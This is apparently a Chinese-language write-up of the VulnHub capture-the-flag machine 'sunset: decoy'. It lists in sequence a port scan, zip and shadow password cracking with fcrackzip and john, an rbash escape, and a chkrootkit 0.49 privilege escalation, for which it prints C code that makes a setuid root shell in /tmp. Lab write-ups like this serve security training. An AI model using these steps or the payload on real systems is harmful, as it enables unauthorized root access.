靶机信息
blog:http://blog.yutian233.xyz/
Easy/Intermediate (May variate depending on your background)
It is recommended to run this machine in Virtualbox.
This works better with VirtualBox rather than VMware
https://www.vulnhub.com/entry/sunset-decoy,505/
主机发现
信息搜集
nmap -A -p 1-65535 192.168.31.168
开放 22, 80端口
访问 http://192.168.31.168/
得到一个压缩包
将压缩包下载下来
解压需要密码
使用fcrackzip 对压缩包密码破解
fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt save.zip
得到密码 manuel
解压后的内容为
查看shadow 文件
得到用户加密后的密码
将密码放入 txt 中
使用 john 对密码破解
john pass.txt
得到密码 server
低权限用户
ssh 连接到主机
ssh 296640a3b825115a47b68fc44501c828@192.168.31.168
发现是一个 rbash (受限的shell)
受限shell的很多命令无法执行
解决方法
ssh 296640a3b825115a47b68fc44501c828@192.168.31.101 -t “bash --noprofile”
export PATH=/bin:/usr/bin:$PATH
在家目录下找到了可以运行的程序
选择序号会运行功能
运行 honeypot.decoy 选择5
会在一分钟 或者 更短时间内启动
一分钟后好像没发生什么特殊的事情
之后在用户家目录下面发现了
提权root
搜索相关资料找到了 https://www.68idc.cn/help/safe/anquanqita/20150412318452.html
Chkrootkit =0.49 Local Root Vulnerability:小于等于0.49版的chrootkit本地提权漏洞。
Chkrootkit 是一个入侵监测系统,大概 上面选择的5就是启动开始
现在,移动到 tmp 目录
将以下代码写入.c
#include <unistd.h>
void main(void)
{
system("chown root:root /tmp/update");
system("chmod 4755 /tmp/update");
setuid(0);
setgid(0);
execl("/bin/sh","sh",NULL);
}
执行编译
gcc update.c -o update
在等待过后 update
现在执行 update
得到了 root 权限